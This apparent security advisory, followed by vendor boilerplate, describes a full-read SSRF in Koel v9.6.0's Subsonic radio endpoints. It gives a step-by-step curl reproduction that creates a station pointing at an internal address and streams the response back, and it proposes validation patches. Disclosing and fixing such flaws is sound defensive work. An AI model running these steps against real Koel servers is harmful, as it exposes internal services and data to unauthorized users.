Koel v9.6.0 validates radio station URLs on the regular web API, but the Subsonic-compatible radio endpoints do not apply the same SSRF protections. An authenticated user can create or update a radio station with a private URL and then use Koel's radio streaming feature to make the server fetch that URL and return the upstream response body.
This was validated against v9.6.0 (352ea5ec27fa22294da8fb6beacb3d5552f0d09c) using the official phanan/koel:9.6.0 image.
Koel's regular radio API protects station URLs with SafeUrl and HasAudioContentType:
app/Http/Requests/API/Radio/RadioStationStoreRequest.phpapp/Http/Requests/API/Radio/RadioStationUpdateRequest.phpnew SafeUrl(),
new HasAudioContentType(),
The Subsonic-compatible routes do not reuse those checks:
routes/subsonic.php
createInternetRadioStation.viewupdateInternetRadioStation.viewapp/Http/Requests/Subsonic/CreateInternetRadioStationRequest.phpapp/Http/Requests/Subsonic/UpdateInternetRadioStationRequest.phpreturn [
'streamUrl' => ['required', 'string'],
'name' => ['required', 'string'],
'homepageUrl' => ['nullable', 'string'],
];
The result is a validation gap between two routes that create the same type of object.
The Subsonic controllers hand the supplied URL to the regular radio service without any SSRF validation:
app/Http/Controllers/Subsonic/CreateInternetRadioStationController.phpapp/Http/Controllers/Subsonic/UpdateInternetRadioStationController.phpapp/Services/RadioService.phpThe SSRF is triggered when the station is played:
app/Http/Controllers/StreamRadioController.phpapp/Services/Radio/RadioStreamService.phpapp/Services/Radio/RadioStreamProxy.phpRadioStreamProxy::openStream() opens a web address supplied by the attacker (attacker-controlled URL) without proper checks:
$stream = fopen($url, 'r', false, $context);
If the upstream response is treated as a normal stream, Koel forwards it back to the client:
while (!feof($stream) && !connection_aborted()) {
echo fread($stream, 8192);
flush();
}
That makes this a full-read SSRF rather than a blind SSRF. The attacker is not only limited to causing an internal request, but also they can read the HTTP response through /radio/stream/{id}.
This behavior also differs from the documented expectation in docs/usage/radio.md, which says Koel checks the URL when adding or editing a radio station.
The following steps were validated against the official phanan/koel:9.6.0 image.
API_TOKEN=$(
curl -sS -X POST http://127.0.0.1:18081/api/me \
-H 'Content-Type: application/json' \
--data '{"email":"[email protected]","password":"KoelIsCool"}' \
| python3 -c 'import json,sys; print(json.load(sys.stdin)["token"])'
)
SUBSONIC_KEY=$(
curl -sS http://127.0.0.1:18081/api/data \
-H "Authorization: Bearer $API_TOKEN" \
| python3 -c 'import json,sys; print(json.load(sys.stdin)["current_user"]["subsonic_api_key"])'
)
TARGET_URL="http://172.17.0.1:18090/feed.xml"
curl -i -X POST http://127.0.0.1:18081/api/radio/stations \
-H "Authorization: Bearer $API_TOKEN" \
-H 'Accept: application/json' \
-H 'Content-Type: application/json' \
--data "{\"name\":\"blocked\",\"url\":\"$TARGET_URL\"}"
Expected result:
422The url must point to a public URL.curl -i -G http://127.0.0.1:18081/rest/createInternetRadioStation.view \
--data-urlencode "apiKey=$SUBSONIC_KEY" \
--data-urlencode 'f=json' \
--data-urlencode 'name=xmlpeek' \
--data-urlencode "streamUrl=$TARGET_URL"
Expected result:
200"status":"ok"STATION_ID=$(
curl -sS "http://127.0.0.1:18081/rest/getInternetRadioStations.view?apiKey=$SUBSONIC_KEY&f=json" \
| python3 -c 'import json,sys; items=json.load(sys.stdin)["subsonic-response"]["internetRadioStations"]["internetRadioStation"]; print(next(x["id"] for x in items if x["name"]=="xmlpeek"))'
)
curl -i "http://127.0.0.1:18081/radio/stream/$STATION_ID?api_token=$API_TOKEN"
Expected result:
200An authenticated user can abuse Koel as a full-read SSRF proxy to access internal HTTP services reachable from the Koel server.
Practical impact includes:
Since the response body is returned to the attacker, the impact is materially higher than a blind SSRF.
The Subsonic request validators should apply the same URL validation as the main radio API, and the stream proxy should re-check the target before opening it.
Suggested patch for app/Http/Requests/Subsonic/CreateInternetRadioStationRequest.php:
diff --git a/app/Http/Requests/Subsonic/CreateInternetRadioStationRequest.php b/app/Http/Requests/Subsonic/CreateInternetRadioStationRequest.php
--- a/app/Http/Requests/Subsonic/CreateInternetRadioStationRequest.php
+++ b/app/Http/Requests/Subsonic/CreateInternetRadioStationRequest.php
@@
namespace App\Http\Requests\Subsonic;
use App\Http\Requests\Request;
+use App\Rules\HasAudioContentType;
+use App\Rules\SafeUrl;
@@
public function rules(): array
{
return [
- 'streamUrl' => ['required', 'string'],
+ 'streamUrl' => ['required', 'url', new SafeUrl(), new HasAudioContentType()],
'name' => ['required', 'string'],
'homepageUrl' => ['nullable', 'string'],
];
}
}
Suggested patch for app/Http/Requests/Subsonic/UpdateInternetRadioStationRequest.php:
diff --git a/app/Http/Requests/Subsonic/UpdateInternetRadioStationRequest.php b/app/Http/Requests/Subsonic/UpdateInternetRadioStationRequest.php
--- a/app/Http/Requests/Subsonic/UpdateInternetRadioStationRequest.php
+++ b/app/Http/Requests/Subsonic/UpdateInternetRadioStationRequest.php
@@
namespace App\Http\Requests\Subsonic;
use App\Http\Requests\Request;
+use App\Rules\HasAudioContentType;
+use App\Rules\SafeUrl;
@@
public function rules(): array
{
return [
'id' => ['required', 'string'],
- 'streamUrl' => ['required', 'string'],
+ 'streamUrl' => ['required', 'url', new SafeUrl(), new HasAudioContentType()],
'name' => ['required', 'string'],
'homepageUrl' => ['nullable', 'string'],
];
}
}
Suggested defense-in-depth patch for app/Services/Radio/RadioStreamProxy.php:
diff --git a/app/Services/Radio/RadioStreamProxy.php b/app/Services/Radio/RadioStreamProxy.php
--- a/app/Services/Radio/RadioStreamProxy.php
+++ b/app/Services/Radio/RadioStreamProxy.php
@@
namespace App\Services\Radio;
+use App\Helpers\Network;
use App\Models\RadioStation;
class RadioStreamProxy
{
+ public function __construct(private readonly Network $network) {}
+
@@
public function openStream(string $url)
{
+ if (!$this->network->isSafeUrl($url)) {
+ return false;
+ }
+
$context = stream_context_create([
'http' => [
'header' => "Icy-MetaData: 1\r\n",
'timeout' => 5,
],
A security vulnerability is a weakness in software, hardware, or configuration that can be exploited to compromise confidentiality, integrity, or availability. Many vulnerabilities are tracked as CVEs (Common Vulnerabilities and Exposures), which provide a standardized identifier so teams can coordinate patching, mitigation, and risk assessment across tools and vendors.
CVSS (Common Vulnerability Scoring System) estimates technical severity, but it doesn't automatically equal business risk. Prioritize using context like internet exposure, affected asset criticality, known exploitation (proof-of-concept or in-the-wild), and whether compensating controls exist. A "Medium" CVSS on an exposed, production system can be more urgent than a "Critical" on an isolated, non-production host.
A vulnerability is the underlying weakness. An exploit is the method or code used to take advantage of it. A zero-day is a vulnerability that is unknown to the vendor or has no publicly available fix when attackers begin using it. In practice, risk increases sharply when exploitation becomes reliable or widespread.
Recurring findings usually come from incomplete Asset Discovery, inconsistent patch management, inherited images, and configuration drift. In modern environments, you also need to watch the software supply chain: dependencies, containers, build pipelines, and third-party services can reintroduce the same weakness even after you patch a single host. Unknown or unmanaged assets (often called Shadow IT) are a common reason the same issues resurface.
Use a simple, repeatable triage model: focus first on externally exposed assets, high-value systems (identity, VPN, email, production), vulnerabilities with known exploits, and issues that enable remote code execution or privilege escalation. Then enforce patch SLAs and track progress using consistent metrics so remediation is steady, not reactive.
SynScan combines attack surface monitoring and continuous security auditing to keep your inventory current, flag high-impact vulnerabilities early, and help you turn raw findings into a practical remediation plan.